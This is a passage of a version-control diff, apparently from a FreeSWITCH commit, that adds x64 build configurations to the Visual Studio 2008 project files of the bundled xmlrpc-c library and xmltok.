+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\make_printable.c"
@@ -252,6 +459,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -260,6 +476,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\memblock.c"
@@ -274,6 +499,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -282,6 +516,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\method.c"
@@ -296,6 +539,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -304,6 +556,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\parse_value.c"
@@ -318,6 +579,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -326,6 +596,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\util\pthreadx_win32.c"
@@ -340,6 +619,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -348,6 +636,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\registry.c"
@@ -362,6 +659,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -370,6 +676,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\resource.c"
@@ -384,6 +699,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -392,6 +716,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\select.c"
@@ -406,6 +739,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -414,6 +756,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\sleep.c"
@@ -428,6 +779,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -436,6 +796,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\system_method.c"
@@ -450,6 +819,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -458,6 +836,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\time.c"
@@ -472,6 +859,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -480,6 +876,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\trace.c"
@@ -494,6 +899,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -502,6 +916,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\libutil\utf8.c"
@@ -516,6 +939,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -524,6 +956,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\version.c"
@@ -538,6 +979,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -546,6 +996,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_array.c"
@@ -560,6 +1019,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -568,6 +1036,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_authcookie.c"
@@ -582,6 +1059,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -590,6 +1076,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_base64.c"
@@ -604,6 +1099,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -612,6 +1116,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_build.c"
@@ -626,6 +1139,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -634,6 +1156,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_client.c"
@@ -648,6 +1179,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -656,6 +1196,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_client_global.c"
@@ -670,6 +1219,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -678,6 +1236,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\curl_transport\xmlrpc_curl_transport.c"
@@ -693,6 +1260,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=".;..\..\curl\include"
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -702,6 +1279,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=".;..\..\curl\include"
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_data.c"
@@ -716,6 +1303,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -724,6 +1320,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_datetime.c"
@@ -738,6 +1343,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -746,6 +1360,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_decompose.c"
@@ -760,6 +1383,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -768,6 +1400,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_expat.c"
@@ -782,6 +1423,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -790,6 +1440,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_libxml2.c"
@@ -805,6 +1464,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -814,6 +1483,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_parse.c"
@@ -828,6 +1507,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -836,6 +1524,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_serialize.c"
@@ -850,6 +1547,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -858,6 +1564,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_server_abyss.c"
@@ -872,6 +1587,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -880,6 +1604,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_server_info.c"
@@ -894,6 +1627,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -902,6 +1644,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_server_w32httpsys.c"
@@ -917,6 +1668,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					ExcludedFromBuild="true"
 					>
@@ -926,6 +1687,16 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_string.c"
@@ -940,6 +1711,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -948,6 +1728,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\src\xmlrpc_struct.c"
@@ -962,6 +1751,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -970,6 +1768,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\lib\wininet_transport\xmlrpc_wininet_transport.c"
@@ -984,6 +1791,15 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -992,6 +1808,15 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter
@@ -1115,11 +1940,11 @@
 				>
 			</File>
 			<File
-				RelativePath="..\include\xmlrpc-c\server.h"
+				RelativePath="..\lib\abyss\src\server.h"
 				>
 			</File>
 			<File
-				RelativePath="..\lib\abyss\src\server.h"
+				RelativePath="..\include\xmlrpc-c\server.h"
 				>
 			</File>
 			<File

Modified: freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmltok.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmltok.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/xmlrpc-c/Windows/xmltok.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -91,6 +94,81 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories="..,."
+				PreprocessorDefinitions="_DEBUG;WIN32;_WINDOWS;XML_DTD;XML_NS;_LIB"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\Debug\xmltok/xmltok.pch"
+				ObjectFile="$(IntDir)\xmltok\"
+				ProgramDataBaseFileName="$(IntDir)\xmltok\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="_DEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmltokD.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\Debug\xmltok/xmltok.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			OutputDirectory=".\Release\xmltok"
 			IntermediateDirectory=".\Release\xmltok"
@@ -165,6 +243,81 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			InheritedPropertySheets="$(VCInstallDir)VCProjectDefaults\UpgradeFromVC60.vsprops"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="..,."
+				PreprocessorDefinitions="NDEBUG;XML_NS;WIN32;_WINDOWS;XML_DTD;_LIB"
+				StringPooling="true"
+				RuntimeLibrary="0"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\Release\xmltok/xmltok.pch"
+				ObjectFile="$(IntDir)\xmltok\"
+				ProgramDataBaseFileName="$(IntDir)\xmltok\vc90.pdb"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				PreprocessorDefinitions="NDEBUG"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="..\lib\$(PlatformName)\$(ConfigurationName)\xmltok.lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
